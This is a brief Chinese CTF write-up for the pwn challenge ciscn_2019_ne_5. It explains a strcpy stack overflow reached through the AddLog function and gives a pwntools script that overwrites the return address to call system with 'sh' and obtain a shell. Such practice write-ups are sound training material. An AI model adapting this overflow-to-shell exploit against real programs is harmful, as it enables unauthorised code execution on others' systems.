这道题如果出现不能反编译参考文章
简单说一下思路,在AddLog
中添加的数据存放在src
对应的栈中,在GetFlag
中因为strcpy
函数存在溢出,所以直接在AddLog
构造payload在strcpy
中溢出就直接拿到shell了!
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level='debug')
proc_name = './ciscn_2019_ne_5'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 29868)
elf = ELF(proc_name)
system_addr = elf.sym['system']
main_addr = elf.sym['main']
sh_str = 0x80482ea
p.sendlineafter('password:', 'administrator'.encode())
p.recv()
p.sendline('1')
p.recvuntil('info:')
payload = 'a'.encode() * (0x48 + 4) + p32(system_addr) + p32(main_addr) + p32(sh_str)
p.sendline(payload)
p.recv()
p.sendline('4')
p.interactive()